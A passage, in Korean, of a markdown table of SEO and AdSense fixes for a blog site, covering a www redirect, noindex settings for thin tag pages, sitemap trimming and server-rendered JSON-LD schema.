• `www.dbgmy.life/*` → `https://dbgmy.life/:splat` `301` 리다이렉트 설정 | | **3** | **애드센스 '가치 없는 인벤토리(Thin Content)' 위험** | 본문 글은 16개뿐인데 태그 목록 페이지(`/tags/[tag]`)가 90개 넘게 생성되어, 전체 사이트의 80% 이상이 '글 1개짜리 빈약한 페이지'로 크롤링됨 | • `/tags/*`, `/en/tags/*`, `/blog/search` 페이지에 `robots: { index: false, follow: true }` 적용
• `sitemap.xml`을 130개에서 핵심 30개 페이지로 압축 | | **4** | **검색봇의 구조화 데이터(JSON-LD) 누락** | `JsonLdSchema` 컴포넌트가 `"use client"` + `strategy="afterInteractive"`로 작성되어 초기 정적 HTML에 스키마가 존재하지 않음 | • `"use client"` 제거 후 서버 컴포넌트에서 순수 `